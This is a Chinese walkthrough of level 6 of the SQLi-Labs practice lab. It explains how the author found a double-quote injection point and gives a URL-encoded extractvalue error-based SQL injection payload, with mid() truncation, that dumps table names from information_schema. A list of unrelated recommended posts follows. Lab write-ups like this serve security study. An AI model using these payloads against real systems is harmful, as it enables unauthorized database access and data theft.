sqllab第六关通关笔记

知识点:

  • 报错注入回顾
  • 原始语句测试
  • 截取函数
    • mid(字符串,起始位置,长度)
    • substr(字符串,起始位置,长度)
    • left(字符串,长度)
    • right(字符串,长度)
  • 加入截取控制的错误注入payload
    • payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+
  • 关键表信息回顾

首先判断注入类型

构造id=1/0

发现正常输出;应该是字符型注入

构造id=1'

发现正常输出;不是单引号的输入读取

构造id=1"

发现报错了;好了,双引号引起的注入

利用错误注入进行数据读取

构造payload:id=1"%20and%20extractvalue(1,concat(0x7e,mid((select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%27security%27),1,30),0x7e))+--+

成功读取到了数据库的表信息;进一步可以读取字段名和关键信息

这里采用了mid截取函数进行长度控制;由于读取的内容小于32位,所以直接全部输出了;要不然就得分段读取

10

相关推荐
Z.风止4 小时前
Large Model-learning(3)
人工智能·笔记·后端·深度学习
东京老树根5 小时前
SAP学习笔记 - BTP SAP Build02 - Deploy,开始URL,Approve,Reject,履历确认,Log,Context
笔记·学习
zjeweler6 小时前
“网安+护网”终极300多问题面试笔记-全
笔记·网络安全·面试·职场和发展
仲芒6 小时前
[24年单独笔记] MySQL 常用的 DDL 命令
笔记·mysql·oracle
仲芒7 小时前
[24年单独笔记] MySQL 常用的 DML 命令
数据库·笔记·mysql
lwewan7 小时前
CPU 调度
笔记·考研
John.Lewis7 小时前
C++进阶(6)C++11(2)
开发语言·c++·笔记
CheerWWW9 小时前
C++学习笔记——栈内存与堆内存、宏、auto、std::array
c++·笔记·学习
-许平安-9 小时前
MCP项目笔记十(客户端 MCPClient)
c++·笔记·ai·raii·mcp·pluginapi·plugin system
一只旭宝9 小时前
【C++ 入门精讲2】函数重载、默认参数、函数指针、volatile | 手写笔记(附完整代码)
c++·笔记